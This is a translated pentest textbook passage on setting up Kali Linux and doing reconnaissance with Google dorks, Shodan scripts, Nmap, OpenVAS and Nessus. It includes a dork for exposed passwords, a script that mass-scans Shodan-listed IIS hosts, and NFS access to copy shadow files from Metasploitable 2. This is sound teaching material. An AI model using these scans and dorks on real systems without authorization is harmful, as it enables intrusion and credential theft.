  1. 在 Windows 商店中搜索“Kali Linux Windows 商店应用”,然后安装该应用。一旦打开应用程序,它将执行一些初始步骤,例如创建一个新的 root 用户帐户。完成后,您可以继续使用sudo apt-get update命令更新 Kali Linux,如图 10 所示:

图 10:在 WSL 中更新 Kali Linux

  1. 为了查看可用软件包的完整列表,请使用sudo apt-cache search kali-linux命令。您会注意到软件包被分成特定的渗透测试领域,如图 11 所示:

图 11:WSL 中 Kali Linux 软件包的列表

请注意,软件包的大小会有所不同;例如,在撰写本文时,kali-linux-top10软件包的大小为 2.9 GB。您需要确保 Windows 10 上的防病毒软件对 Kali Linux 软件包有排除。软件包的路径是

C:\Users\[username]\AppData\Local\Packages\。另外,请注意,[username]表示您登录的用户。

在 Windows 中使用 Kali Linux 工具的另一种方法是通过Ubuntu Windows Store AppKatoolin等工具。

要这样做,请重复之前提到的 1 到 2 步骤;但是,不要从 Windows Store 安装 Kali Linux 应用程序,而是安装 Ubuntu 应用程序。

应用程序安装完成后,您可以继续以下步骤:

  1. 打开Ubuntu Windows Store App并使用以下命令更新和升级应用程序:
sudo apt-get update

sudo apt-get upgrade
  1. 更新 Ubuntu 后,您需要安装 Python 2.7 版本;可以使用以下命令完成:
sudo apt-get install python
  1. 您还可以使用katoolin等工具,可以使用以下命令进行克隆:
git clone https://github.com/lionsec/katoolin.git && cp katoolin/katoolin.py /usr/bin/katoolin

chmod +x /usr/bin/katoolin
  1. 您可以使用sudo katoolin命令运行Katoolin工具,它将呈现一个菜单,您可以使用该菜单添加 Kali 存储库并安装在类别中列出的各种工具,如图 12所示:

图 12:在 WSL 中安装的 Ubuntu 中的 Katoolin

本书将使用安装在虚拟机或物理主机上的 Kali Linux。本书的范围不涵盖在 WSL 中使用 Kali Linux。

使用 VirtualBox 完成 Kali Linux 的安装

VirtualBox 是一个跨平台的虚拟机监视器;在 Windows 和 macOS 中导入预构建的 Kali Linux 虚拟机是相同的过程。

下载预构建的虚拟机后,它将以.ova格式存在。可以使用以下步骤将其导入 VirtualBox:

  1. 打开 VirtualBox,如果您使用的是 macOS 版本,请点击导入;或者,如果您使用的是 Windows 版本,请点击文件|导入。

  2. 导航到您下载预构建虚拟机的位置,并选择.ova文件。然后,点击下一步按钮。

  3. 现在,您将看到虚拟机的设置和存储位置。您可以自定义或保留其默认设置。

  4. 最后,点击导入。

导入完成后,您可以启动 Kali Linux 虚拟机。您可能会收到与 USB 硬件相关的错误,但 VirtualBox 会提到您可以安装什么来解决这个问题。

配置 Kali Linux

在您启动并运行 Kali Linux 之后,您需要执行一些额外的步骤。

如果您手动安装了 Kali Linux,则将提示您为 root 帐户提供用户名和密码。或者,如果您使用预构建的虚拟机,则默认用户名是root,密码是toor。为了更改密码,您可以使用passwd实用程序,如图 13所示:

图 13:更改 Kali Linux 中的 root 密码

Kali Linux 中的大多数工具需要 root 级别的权限才能运行。然而,始终使用 root 级别帐户存在风险;例如,考虑您正在浏览互联网以寻找漏洞,偶然着陆在一个恶意网站上。这个恶意网站可能包含一个将远程 shell 放置到 Kali Linux 上的 Dropper。由于使用的帐户是 root 级别帐户,攻击者将在您的系统上拥有具有 root 权限的远程 shell。

为了提供额外的安全层,您需要创建一个没有 root 级别权限的普通帐户。可以通过执行以下步骤来完成:

  1. 使用adduser [username]命令。

  2. 按照提示完成用户详细信息,如图 14所示:

图 14:添加非 root 用户

如果您没有将用户添加到正确的组中,那么新创建的用户将无法提升到根级别权限,如图 15所示:

图 15:用户不在 sudo 组中

  1. 为了将用户添加到正确的组中,您需要输入以下命令:
usermod -a -G sudo [username]

这里,-a表示追加,-G指定组。

  1. 一旦您将用户添加到sudo组中,您需要允许用户利用bash shell。这可以通过以下命令完成:
chsh -s /bin/bash [username]

chsh命令用于更改登录 shell,而-s开关用于指定 shell。

一旦用户被添加到sudo组并更改了登录 shell,用户就可以被提升到根级别权限,如下面的屏幕截图所示(图 16):

图 16:用户现在被提升到根级别权限

接下来,我们需要确保能够更新 Kali Linux。我们需要检查的第一件事是sources.list文件;这个文件可以在/etc/apt/sources.list找到。

有一些存储库可以使用;Kali Linux 网站上定义的标准存储库如下:

deb http://http.kali.org/kali kali-rolling main non-free contrib

Kali Linux 在他们的网站上列出了他们的官方存储库,可以在这里找到:

docs.kali.org/general-use/kali-linux-sources-list-repositories

您可以通过运行more /etc/apt/source.listcat /etc/apt/sources.list命令来确认您的存储库没有被注释掉,如下面的屏幕截图所示(图 17):

图 17:列出 Kali Linux 中的 sources.list 文件

如果您需要编辑sources.list文件,那么您可以使用 Leafpad、Nano 或您喜欢的文本编辑器来进行编辑。

此外,您需要在 Kali Linux 上执行更新,以确保您拥有最新版本的工具和系统文件。

执行更新的命令是apt update,执行升级的命令是apt upgrade这些命令可以一起使用以节省时间;组合命令是apt update && apt upgrade。此外,您还可以使用apt update && apt full-upgrade来包括分发升级,如下面的屏幕截图所示(图 18):

图 18:更新和升级 Kali Linux

默认情况下,Kali Linux 启动时不会自动启动某些服务。Kali Linux 包含诸如sshhttp等服务。如果这些服务设置为自动启动,它们将暴露端口,这将导致 Kali Linux 暴露和脆弱。

如果您想要启用特定服务,您需要使用systemctl start [service name]。例如,如果您想要启用ssh服务器,您可以使用systemctl命令启动ssh。另一方面,如果您希望它在启动时自动启动,您可以使用systemctl命令启用ssh

下面的屏幕截图(图 19)显示ssh服务默认情况下未启动,并演示了如何启用它:

图 19:启用 ssh 服务

现在我们已经安装并更新了 Kali Linux,让我们继续学习一些基本命令。

Kali Linux 中的基本命令

Kali Linux 中有一些非常有用的基本命令。其中一些有用的基本命令包括locatechmodfindlscdpwd

  • locate:我经常使用这个命令;它可以用来轻松定位特定文件。在使用locate命令之前,您需要使用updatedb执行数据库更新,如下面的屏幕截图所示(图 20):

图 20:使用 locate 命令

  • chmod:如果您需要控制文件的权限,这个命令很有用。有些工具在下载时需要您修改权限,以便能够执行它们。例如,chmod 600设置文件,只有所有者可以读取和写入,如图 21所示:

图 21:使用 chmod 命令

  • find:这个命令是比locate命令更强烈的搜索工具;在这里,find搜索任何给定的路径,如图 22所示:

图 22:使用 find 命令

  • ls:这个命令用于列出当前目录的内容。使用-a开关将显示隐藏的文件和文件夹。

  • cd:这个命令用于更改当前工作目录。它也被称为chdir命令。

  • pwd:该命令打印工作目录,简单地显示您当前工作的目录名称。

所有这些列出的命令都是让您熟悉 Kali Linux 核心功能的良好起点。如果您正在寻找完整的命令 A-Z 列表,可以很容易地使用您喜欢的搜索引擎找到。

Kali Linux 中的脚本编写

Kali Linux 相对冗长——您可以利用 bash 脚本创建复杂的脚本,然后用于渗透测试。

执行Nmap扫描的示例脚本如下:

read -p "Target IP/Range: " $targetIP
echo "$targetIP"
Nmap -sS -O -v "$targetIP"

在这个脚本中,我们告诉系统打印出read -p "目标 IP/范围:文本,我们将其绑定到$targetIP变量。在下一行,我们使用echo命令显示 IP 范围,作为参数传递。在最后一行,我们执行一个简单的Nmap扫描,使用-sS开关,执行 TCP SYN 端口扫描;-O执行远程操作系统检测;和-v,增加了详细级别,如图 23所示:

图 23:一个示例 Nmap 脚本

在本书的过程中,我们将探讨其他脚本(例如,在第三章中,执行信息收集,使用脚本搜索 Shodan 等)。随着您在渗透测试旅程中的进展,您可能会开发出自己有用的脚本列表。

Kali Linux 的基本工具

Kali Linux 包含数百个用于渗透测试、取证等的工具。浏览内置工具以及互联网上可用的其他工具可能是一项具有挑战性和压倒性的任务。

在本节中,我们将讨论您可能经常使用的基本工具。随着您在本书中的进展,您将了解到其他内置或需要下载的工具。以下列表只是冰山一角,您可以期待在整本书中看到更多这样的工具。

Nmap

Nmap 已经存在多年了;它是最常用的网络映射工具之一,而且是免费的。此外,它有命令行和图形版本。图形版本称为 Zenmap。Nmap 的主要特点如下:

  • 主机发现:这对于检测网络中的主机很有用

  • 操作系统检测:这可用于确定目标设备的操作系统

  • 应用程序版本检测:这提供了应用程序版本和目标设备名称的见解

  • 端口扫描:这允许您枚举哪些端口对主机是暴露的

  • 脚本编写:这利用了Nmap 脚本引擎NSE),允许您编写自定义脚本,提供在使用 Nmap 时的速度和效率

有许多关于 Nmap 的作弊表可以在互联网上找到。例如,可以在pen-testing.sans.org/blog/2013/10/08/nmap-cheat-sheet-1-0/找到。

在第三章 执行信息收集中,我们将更深入地使用 Nmap,并使用其一些功能,如 NSE。

Aircrack-ng

Aircrack-ng 是一个无线安全套件,其中包含数据包分析器、WPA 和 WPA2 审计工具等。Aircrack-ng 的主要特点如下:

  • 有线等效隐私WEP)和Wi-Fi 保护访问WPA)密码解密

  • 数据包注入

  • 支持 WPA 和 WPA2-PSK 密码解密

  • 将捕获的数据导出到文件进行进一步处理

  • 重放攻击、去认证等等

Aircrack-ng 将在第九章 开始无线攻击中更详细地使用和解释。

John the Ripper(JTR)和 Hydra

JTR 是一个密码学工具,允许您对密码进行暴力破解攻击。JTR 支持诸如 SHA-1、DES、Windows 的 LM/NTLM 哈希等众多加密算法。JTR 的一些主要特点如下:

  • 它执行字典攻击和暴力破解能力

  • 它有能力作为 cron 作业运行

  • 它提供了自定义的暴力破解规则和字典攻击列表

Hydra,通常与 JTR 一起使用,支持广泛的网络协议。Hydra 是一个在线密码破丨解丨器,而 JTR 是一个离线密码破丨解丨器。Hydra 的一些主要特点如下:

  • 它支持广泛的协议

  • 它执行字典攻击和暴力破解能力

  • 它有能力添加模块以扩展功能

在第六章 理解密码攻击中,我们将开始使用 JTR 和 Hydra 进行密码攻击。

SET

SET 提供了多种方式让您进行社会工程攻击。它基于 Python,是开源的。SET 能够进行的一些攻击包括 WiFi AP 攻击、基于电子邮件的攻击、基于 Web 的攻击、基于短信的攻击,并涉及创建有效载荷。

SET 能够与第三方模块集成,支持 PowerShell 攻击向量,生成钓鱼攻击等等。

Burp Suite

Burp Suite 用于 Web 应用程序渗透测试;它是一个强大的工具,可以用于覆盖 Web 应用程序测试的各个方面。Burp Suite 的一些主要特点包括以下内容:

  • 拦截代理:这用于检查和修改浏览器向目标 Web 应用程序发出的请求和响应

  • 蜘蛛:这可以用来列出 Web 服务器上的所有目录

  • 入侵者:这用于创建和执行定制的攻击

  • 重复者:这用于重放请求

Kali Linux 包含大量有用的工具,我们在这里介绍的只是冰山一角。从第三章 执行信息收集开始,我们将在 Kali Linux 中使用更多的工具。

总结

在本章中,我们看了我们选择的渗透测试平台,即 Kali Linux。我们探讨了安装、配置和初始设置。然后我们开始使用基本的 bash 脚本和常用命令。最后,我们看了一些包含在 Kali Linux 中的基本工具。

您现在有能力从头开始安装 Kali Linux,知道从哪里下载预构建的虚拟机,并且已经学会了如何在 WSL 中安装 Kali Linux。除此之外,您还学会了如何执行 Kali Linux 的初始配置,如更新、升级和添加新用户账户。我们还探讨了如何在 bash 环境中编译基本脚本。您现在应该对一些基本命令及其用途有了很好的理解,以及 Kali Linux 中一些常见工具及其主要特性。

在第三章中,执行信息收集,我们将探讨不同类型的信息收集和您可以使用的工具来执行此操作。我们将首先使用 Kali Linux 中的工具来执行各种类型的信息收集。

问题

  1. 为什么 Kali Linux 是渗透测试人员首选的发行版之一?

  2. Kali Linux 有哪些安装选项?

  3. 用于更新 Kali Linux 的命令是什么?

  4. 如何在 Kali 中启动特定服务?

  5. 至少列举三种 Kali 中的基本工具。

第二部分:利用

在本节中,您将开始积极使用 Kali Linux 中的各种工具。您将学习如何执行跨越渗透测试各个阶段的多项任务。这里的目标是利用目标,因此我们将使用社会工程、Metasploit 等攻击进行工作。我们将在这里涵盖多种技术,如无线网络和 Web 应用程序。

本节将涵盖以下章节:

  • 第三章,执行信息收集

  • 第四章,精通社会工程

  • 第五章,深入了解 Metasploit 框架

  • 第六章,理解密码攻击

  • 第七章,使用 Burp Suite

  • 第八章,攻击 Web 应用程序

  • 第九章,开始无线攻击

第三章:执行信息收集

收集关于目标的信息的技能是任何渗透测试人员都应该具备的重要技能。

被动信息收集和主动信息收集之间存在很大的区别。被动信息收集利用公开可用的信息。主动信息收集涉及与目标系统的直接交互。在特定国家的法律中,主动信息收集越过了界限,因为一些国家认为未经许可进行任何类型的渗透测试是非法的——这就是你的“免于监禁”(如第一章,渗透测试简介中讨论的)的重要性。在进行任何主动信息收集之前,获得正确的授权是非常重要的。

你收集的关于目标的信息将被用来规划你的攻击。在这个阶段,你将寻找任何可能暴露目标信息的东西。例如,他们的公共服务器是否暴露了已知的易受攻击的端口?是否有任何文件或信息(比如社交媒体帖子)在互联网上包含敏感信息?当你建立你的信息库时,你可以开始威胁建模,并寻找可以在你的攻击计划中使用的漏洞。

随着你在本章的学习过程中,你将了解以下主题:

  • 被动信息收集

  • 主动信息收集

  • 漏洞扫描

  • 已知的易受攻击的服务

  • 捕获流量

技术要求

本章适用以下技术要求:

  • Kali Linux 2019.1

  • Metasploitable 2 和 3

被动信息收集

被动信息收集通常被称为开源情报OSINT)。当你进行被动信息收集时,主要目的是在不引起目标注意的情况下尽可能多地收集有关目标的信息。在被动信息收集阶段,你将利用使用多种工具和第三方数据库发布的公开信息。你会惊讶于你可以从公开资源中获得多少信息。

常见的被动信息收集技术如下:

  • 调查 DNS 记录以查找邮件服务器详细信息、子域等

  • 在搜索引擎上使用精心设计的搜索来发现任何信息,比如文件

  • 发现互联网连接的设备

  • 使用工具获取信息,比如电子邮件地址

OSINT 框架旨在从免费可用的资源中收集信息。我鼓励你查看一个很好的在线资源,如下:osintframework.com

让我们通过使用充满信息的东西——互联网来进行一些信息收集。

使用互联网

在收集信息时,你的主要工具之一将是互联网。互联网充斥着信息。社交媒体、博客、消息服务等都是人们日常使用的常见媒介。员工可能会发布关于他们组织的信息,这对他们来说可能毫无意义,但对攻击者来说,这可能是一个金矿。

谷歌 dork

谷歌 dork(也称为谷歌黑客)实际上是一个特别设计的搜索字符串,返回的信息在目标网站上并不容易获得。它通过利用高级搜索运算符来实现这一点。

使用谷歌 dork 是在目标上执行信息收集的一个很好的方法。你可以返回诸如用户名和密码、敏感信息、登录门户等数据。

谷歌内的搜索运算符可以用来查询特定信息。此类搜索运算符的示例如下:

  • site:提供了你定义的网站特定的 URL 输出。

  • inurl:使用此查询,您可以定义一个特定的字符串,结果将返回包含该字符串的网站。

  • filetype:在这里,您可以定义您要查找的特定文件类型。例如,您可以指定 PDF、XLS、DOC 或任何其他您想要的文件扩展名。

搜索运算符可以一起使用进行巧妙的搜索。例如,在microsoft.com上查找具有.doc扩展名的文件时,您可以使用Google.com中的搜索查询filetype:doc site:microsoft.com来实现这一点。

Exploit-DB 存放着 Google Hacking 数据库,如下截图所示(图 1)。在这里,您将找到一个不断更新的大量 Google dorks:

Exploit-DB 上 Google Hacking 数据库的确切位置如下:www.exploit-db.com/google-hacking-database

图 1:在 exploit-db.com 上列出的 Google Hacking 数据库

您会注意到有多个类别,您可以在其中找到各种 Google dorks。让我们使用其中一个 dork 进行信息收集:

intext:password "Login Info" filetype:txt

谷歌的结果显示了有多少网站的密码以明文形式暴露,如图 2所示:

图 2:使用 Google Dork 暴露的密码

在收集有关目标的信息时,您可以利用在 Google 中精心设计的搜索查询来发现可用的信息。

Shodan

Shodan 不是您平均的搜索引擎。它经常被称为黑客的搜索引擎。在其网站上,Shodan 被称为互联设备的世界第一搜索引擎。Shodan 可以通过www.shodan.io访问,如图 3所示:

图 3:https://www.shodan.io 的登录页面

Shodan 有什么独特之处?谷歌和必应等搜索引擎索引网站,但 Shodan 索引一切,如网络摄像头、数据库服务器、医疗设备、路由器等等。任何连接到互联网的东西都被 Shodan 索引。

正如 Shodan 的创始人 John Matherly 在他的书Shodan 完全指南中所定义的,Shodan 的算法很简单。

  1. 创建一个随机的 IPv4 地址

  2. 查看 Shodan 了解的端口列表并选择一个随机端口

  3. 使用步骤 1 生成的 IPv4 地址和步骤 2 生成的端口,执行连接并抓取横幅

  4. 重复步骤 1

这个算法不仅仅是爬取网站,它找到一切并对其进行索引。让我们看一下可以使用 Shodan 运行的一些查询。

Shodan 脚本

正如我们在第二章中学到的,使用 Kali Linux 入门,在 Kali Linux 中,您可以使用脚本。让我们看一下可以与 Shodan 一起使用的脚本。

您应该做的第一件事是在 Shodan 注册一个帐户。这可以通过直接导航到account.shodan.io/register来完成。创建帐户后,导航到我的帐户并获取您的API 密钥。保留 API 密钥,因为您将在脚本中使用它。

从您的 Kali Linux 机器上,您需要在开始编写脚本之前执行一些任务:

  1. 确保您正在运行最新的更新和升级,并且已安装python 2.7。运行以下命令将确保您满足此要求:
sudo apt-get update && sudo apt-get install python2.7
  1. 我们将利用pip命令来安装所需的shodan文件。使用以下命令完成此操作:
sudo pip install shodan

安装了所有要求后,您可以创建一个执行您想要执行的任何搜索的脚本。请注意,对于所有利用 Shodan 的查询,您需要使用您的API 密钥。您可以用您的实际API 密钥替换文本"insert your API key here"。我们将创建一个脚本,允许我们对目标进行信息收集。通过使用下面的示例脚本,我们可以利用 Shodan 使用api.search查询来获取结果。

  1. 我们将使用nano shodan-iis.py命令和以下代码创建一个新的 Python 脚本:
import shodan
SHODAN_API_KEY = "insert your API key here"
api = shodan.Shodan(SHODAN_API_KEY)
# Wrap the request in a try/ except block to catch errors
try:
        # Search Shodan
        results = api.search('IIS')

        # Show the results
        print('Results found: {}'.format(results['total']))
        for result in results['matches']:
                print('IP: {}'.format(result['ip_str']))
                print(result['data'])
                print('')
except shodan.APIError, e:
        print('Error: {}'.format(e))

要在 nano 中保存文件,您可以使用Ctrl + O,然后使用Ctrl + X退出。文件保存后,我们可以使用python shodan-iis.py命令运行它。

请注意,我的搜索不针对任何特定国家,我只是在搜索 IIS 服务器:

如果您购买了 Shodan 的订阅,您可以在 API 查询中使用更多的搜索运算符。免费版本限制您进行基本搜索,只能看到 2 页的结果。

图 4:shodan-iis 脚本的输出

在上述输出(图 4)中,我们有许多结果。现在,我们可以过滤结果,以便只有 IP 地址。使用这些 IP 地址,我们可以利用一个简单的 Nmap 脚本来对 IP 地址进行扫描。

  1. 修改脚本,以便只显示 IP 地址。为此,我们需要从print('IP: {}'.format(result['ip_str']))行中删除IP,并删除print(result['data'])print('')行。新代码应如下所示:
import shodan
SHODAN_API_KEY = "insert your API key here"
api = shodan.Shodan(SHODAN_API_KEY)
# Wrap the request in a try/ except block to catch errors
try:
        # Search Shodan
        results = api.search('IIS')

        # Show the results
        print('Results found: {}'.format(results['total']))
        for result in results['matches']:
                print(' {}'.format(result['ip_str']))
except shodan.APIError, e:
        print('Error: {}'.format(e))

请注意,我们现在只有 IP 地址。使用这个,我们可以将输出导入到一个文本文件中,使用python shodan-iis.py >> shodan-iis.txt命令,如图 5所示:

图 5:shodan-iis 脚本的输出,仅过滤 IP 地址。

现在我们有了 IP 地址,我们可以创建一个简单的 bash 脚本来对它们进行 Nmap 扫描。

  1. 通过输入nano shodan-nmap-iis.sh命令创建一个简单的 bash 脚本。在 nano 中,输入以下代码:
#!/bin/bash 
cat shodan-iis.txt | while read line
do
nmap -sS -sV $line
done

保存脚本,然后更改权限以使其能够使用chmod +x shodan-nmap-iis.sh命令运行。然后,使用./shodan-nmap-iis.sh命令运行脚本。

在上面的代码中,我们从 crunchbang (#!)开始,并定义了我们将在其中运行脚本的 shell。然后,我们定义了源文件。当脚本读取每一行时,它会执行 Nmap TCP syn 扫描(-sS),以及对端口的服务和版本检测(-sV)。结果如图 6所示:

图 6:bash 脚本的结果

Shodan 确实是黑客的搜索引擎。可以获取任何类型的互联网连接设备的大量信息。

使用 Kali Linux

Kali Linux 有许多内置工具,可以用于被动和主动信息收集。在这里,我们将看一些可以用于被动信息收集的工具。

Maltego

Maltego 是一个使用 OSINT 的好工具。Maltego 能够可视化有关目标的信息是如何连接的。Maltego 有免费和付费版本。在本书中,我们将利用免费版本。Maltego 也预装在 Kali Linux 中,所以不需要安装它。您会注意到,即使我们使用免费版本,它也能够为您的目标提供大量信息。

Maltego 使用公开可用的信息来可视化连接和信息。在对公共目标进行分析时,不应该有法律影响,但请确保您检查您当地特定国家的法律。

让我们开始运行 Maltego。要启动 Maltego,在 Kali 终端中输入maltego。在首次启动 Maltego 时,您需要选择要使用的版本。免费版本名为Maltego CE。注册帐户并登录后,您将看到 Maltego 的启动屏幕。

Maltego 使用变换,允许您通过插入各种网站(如 Shodan、VirusTotal 和 Threatminer)获得更丰富的结果。您会注意到变换中心有许多附加功能,可以增强您的结果,如图 7所示:

图 7:在 Maltego 中的变换列表

在 Maltego 中,我们有运行机器的选项。将机器视为运行一组预定义的带有各种配置的变换的脚本或宏。使用机器可以快速启动信息收集。要运行机器,您需要单击运行机器,并选择所需的机器。在我们的示例中,我们将运行 Footprint L3 机器,该机器在指定的域上执行了一个强烈的足迹,如图 8所示:

图 8:在 Maltego 中运行机器

扫描完成后,您将获得大量信息。在此示例中,我对我的个人域名进行了信息收集扫描。Maltego 能够捕捉到托管在我的托管公司共享 DNS 上的其他域,我的域的网站,共享的公共 IP,MX 记录等,如图 9所示:

图 9:Maltego 收集的信息

您会注意到图表非常大。出于说明目的,我已经放大了与我的域相关的数据。您可以在自己的个人域上执行此测试,并观察 Maltego 呈现的结果。

Maltego 对信息收集非常有用。当您使用额外的变换时,它将允许您获取有关目标的大量信息。

主动信息收集

主动信息收集是指我们开始与系统进行交互,以便收集更多信息。在主动信息收集期间,有可能触发警报,从而警告目标,因此,根据计划的攻击类型,您需要谨慎行事。

一些渗透测试有意触发警报,以测试警报、日志甚至现有对策的响应时间的有效性。

Nmap

网络映射器Nmap)是一种允许您进行网络发现和安全审计的工具。它仅在命令行中可用,并且有一个名为Zenmap的图形版本。Nmap 能够跨多个平台工作,如 macOS、Windows 和 Linux。Nmap 非常强大,不仅可以检测开放端口,还可以检测目标上运行的操作系统和服务,Kali Linux 默认包含 Nmap。Nmap 可用于执行以下操作:

  • 网络发现:允许您检测目标网络上的任何活动主机

  • 端口发现:允许检测开放端口

  • 服务发现:提供检测与特定端口相关的软件版本的能力

  • 操作系统发现:提供正在运行的操作系统和版本的信息

  • 漏洞扫描:提供使用脚本检测漏洞的能力

Nmap 有许多扫描选项可供使用。以下是一些常见的扫描:

  • -sS:这是一个 TCP SYN 扫描。这种扫描是最常用的扫描类型之一,因为它通过不完成 TCP 连接来提供隐蔽性。

  • -sT:这是一个 TCP 连接扫描。这种扫描对目标端口进行完整连接,可能会被目标检测到。

  • -sU:这执行了对 UDP 协议的扫描。使用这种扫描,您可以发现与 DHCP、DNS、SNMP 等相关的端口。

  • -p:定义特定的端口或端口范围。范围用破折号-分隔。如果不指定端口或范围,扫描将扫描所有的 65,535 个端口。

  • -sC:使用默认的脚本集执行扫描。

  • -sV:通过引用 Nmap 服务数据库中的知名服务,执行版本检测。一旦引用完成,Nmap 就能够显示在端口上运行的服务。尽管这种链接非常准确,但您可能会发现管理员将不同的应用程序链接到常用端口的情况。

  • -O:通过发送一些精心制作的数据包(如 TCP 采样、窗口检查大小和 IP 选项)并将它们与nmap-os-db进行比较,执行操作系统检测。一旦匹配,Nmap 将显示目标的操作系统。

  • --script:使用逗号分隔的列表来定义脚本,用于不同的类别、名称和目录。例如,--script "http-*"将加载处理 http 的每个脚本。--script "default,safe"将加载defaultsafe类别中的脚本。

SANS 目前有一份很好的 Nmap 备忘单供您参考。它位于这里:blogs.sans.org/pen-testing/files/2013/10/NmapCheatSheetv1.1.pdf

Nmap 最初用于端口扫描,但该工具已经发展到可以执行漏洞扫描。利用Nmap 脚本引擎NSE)允许您编写自己的脚本,并使用免费提供的脚本。在 Kali Linux 中,可以在/usr/share/nmap/scripts位置找到许多脚本。脚本有各种类别,如信息收集、漏洞扫描、暴力破解等。要查看当前在 Kali Linux 中可用的脚本的完整列表,可以在 Kali Linux 中的终端窗口中运行ls /usr/share/nmap/scripts命令。或者,您可以使用您在上一章学到的locate命令:locate *.nse

如果您不确定脚本的作用,可以使用nmap -script-help [script name]命令,如图 10所示:

图 10:Nmap 脚本帮助

让我们对 Metasploitable 2 虚拟机执行一些扫描。确保您的 Kali Linux 和 Metasploitable 2 虚拟机都在同一个虚拟网络上:

  1. 我们将使用 Kali Linux 终端窗口中的netdiscover命令进行一些网络发现。过一段时间,您的 Metasploitable 2 IP 地址将被显示出来。

  2. 我们将使用nmap -sS [ip address]命令对 Metasploitable 2 虚拟机进行基本的 TCP SYN 扫描。扫描完成后,我们将看到所有开放端口的列表,如图 11所示。在输出中,我们看到了当前的开放端口列表。但让我们结合一些更多的参数来获得更丰富的结果:

图 11:Nmap TCP SYN 扫描

请注意,Metasploitable 2 上的nfs端口2049/TCP 是开放的。使用文件浏览器,您可以导航到您的 Metasploitable 2 虚拟机的nfs://[IP]。您将可以在没有身份验证的情况下访问文件系统。您可以利用这个漏洞并浏览到/etc/,并将shadowpasswd文件复制到您的 Kali Linux。您将在第六章中使用这些文件,理解密码攻击

  1. 使用nmap -sS -sV -O -sU [IP 地址]命令,我们能够获得更多信息的结果。您会注意到,我们现在可以看到与TCPUDP端口号相关的服务版本,以及操作系统的信息,如图 12所示:

图 12:Nmap 扫描结合各种扫描选项

  1. 由于这个版本的 Metasploitable 正在运行 Apache 服务器,让我们利用一个脚本为我们提供更多信息。使用nmap --script http-enum.nse [IP 地址]命令,我们能够检测与开放的 HTTP 端口相关的信息,如图 13所示:

图 13:Nmap 在终端中显示机器的开放端口

您可以使用第 3 步中的开关对 Metasploitable 3 系统执行 Nmap 扫描,但是您需要添加-oX,将输出导出到一个.xml文件中。在第五章中,深入 Metasploit 框架,您将使用这个。

通过对 Nmap 有很好的理解,您在进行渗透测试时可以获益良多。确保您在实验室内进行了各种扫描的练习,以便您对输出和如何在特定情况下使用不同的扫描有很好的理解。

漏洞扫描

一旦您收集了必要的信息,就是时候开始对现有的漏洞进行一些额外的研究了。漏洞扫描使用诸如 Nessus 和 OpenVAS 之类的软件。通常,漏洞扫描器将具有与特定漏洞相关的签名。一旦扫描器运行并完成,您将收到一份报告,显示与特定系统相关的所有漏洞。漏洞扫描器只能检测已知的漏洞;任何未知的漏洞都不会被漏洞扫描器检测到。漏洞扫描器在您的渗透测试工具包中至关重要。它们经常会暴露您可能忽视的漏洞。

让我们看看一些您可以在渗透测试中使用的漏洞扫描器。

OpenVAS

OpenVAS 是一个开源的漏洞扫描器,有免费和付费版本。OpenVAS 的目标是成为一个集成各种内置测试的全能漏洞扫描器。截至 2019 年 1 月,OpenVAS 包含超过 50,000 个网络漏洞测试(NVTS),并且不断增长。Kali Linux 默认未安装 OpenVAS,因此您需要安装它。要安装 OpenVAS,您需要按照以下步骤进行:

  1. 从 Kali Linux 终端窗口,使用apt-get install openvas命令下载 OpenVAS。这将连接到 OpenVAS 存储库并下载所需的文件。

  2. 下载完成后,是时候使用openvas-setup命令安装 OpenVAS 了。这将开始 OpenVAS 的安装过程并下载 NVT feeds。安装完成后,最后会显示一个系统生成的密码。请注意这一点,因为您需要用它登录 OpenVAS 并将密码更改为您想要的内容,如图 14所示:

图 14:OpenVAS 安装完成,屏幕上显示登录详细信息

如果您忘记了 OpenVAS 的用户名和密码,可以使用以下命令更改它们:

openvasmd –user=[用户名]–new-password=[密码]

因此,例如,您可以使用openvasmd –user=admin –new-password=Sup3rS3cretPa55w0rd

  1. 安装完成并登录到 OpenVAS 的用户界面后,您可以通过点击顶部导航栏上的“扫描”选项卡执行漏洞扫描。要执行新的扫描,您可以使用任务向导创建新任务按钮。这些按钮由魔杖(任务向导)和星号(创建新任务)表示。让我们创建一个任务,以便我们可以对 Metasploit 2 进行漏洞扫描。使用创建新任务功能,我们可以定义任务的名称并定义目标,如图 15所示。

图 15:新的 OpenVAS 任务创建

  1. 一旦任务创建完成,您可以在任务的“操作”部分使用绿色播放图标来运行它。

  2. 任务完成后,您将看到一个仪表板,显示结果的高层视图。点击“报告”部分,如图 16所示:

图 16:高层概述

  1. 一旦您在报告概述中,要查看扫描的完整报告,您需要点击扫描日期,如图 17所示:

图 17:报告概述

  1. 现在,您将获得 OpenVAS 发现的所有漏洞的完整列表,如图 18所示:

图 18:发现漏洞的报告

一旦您获得报告,您可以展开漏洞以查看其完整细节。OpenVAS 为您提供解决方案类型(如供应商修复或解决方法)和检测质量QoD)。

我鼓励您使用 OpenVAS 对自己的网络或主机执行漏洞扫描,以便更熟悉这个漏洞扫描器。

Nessus

Nessus 是市场上最受欢迎的漏洞扫描器之一。与其他漏洞扫描器一样,Nessus 包含了跨不同平台和协议的已知漏洞的数据库。Nessus 有付费版本(通常由渗透测试人员和内部安全部门用于执行漏洞扫描)和免费版本,称为 Nessus Home。在本书中,我们将使用 Nessus Home,它只能扫描几个 IP 地址。由于 Kali Linux 默认未安装 Nessus,我们需要安装它。

按照以下步骤执行:

  1. 转到www.tenable.com/products/nessus-home注册 Nessus Home 的激活码。注册完成后,您将有下载 Nessus 的选项。Nessus 下载页面的直接链接是www.tenable.com/downloads/nessus#download

  2. 根据您的 Kali Linux 架构下载标题为 Debian 6, 7, 8, 9/Kali Linux 1, 2017.3 AMD64 或 Debian 6, 7, 8, 9/Kali Linux 1, 2017.3 i386(32 位)的版本。尽管软件版本显示为 Kali Linux 的旧版本,但它将在本书中使用的当前版本(2019.1 版)中运行。

  3. 一旦下载了正确的版本,您可以通过导航到下载目录并使用dpkg -I命令在 Kali Linux 中安装它。安装应该相对快速。完成后,您将看到摘要,如图 19所示:

图 19:Nessus 安装

  1. 通过运行/etc/init.d/nessusd startservice nessusd start命令启动 Nessus 扫描器,并使用内置于 Kali Linux 中的 Firefox ESR 导航到位于https://kali:8834的图形界面。

图形界面的 URL 可能在您的环境中有所不同。请注意安装完成后的摘要。

一旦 Nessus 启动并导航到管理员 URL,您将看到一些选项来创建新的用户帐户。帐户创建后,Nessus 将执行一些安装后任务,如安装插件。完成所有任务后,您将能够登录到管理员门户,如图 20所示:

图 20:Nessus 管理员门户

